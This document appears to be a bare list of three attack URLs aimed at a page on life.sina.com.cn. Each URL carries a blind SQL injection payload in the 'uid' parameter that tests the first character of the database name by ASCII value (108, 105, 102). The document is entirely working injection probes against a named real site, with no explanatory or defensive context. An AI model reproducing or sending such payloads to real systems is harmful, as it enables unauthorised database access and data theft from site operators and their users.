http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=108
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=105
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=102
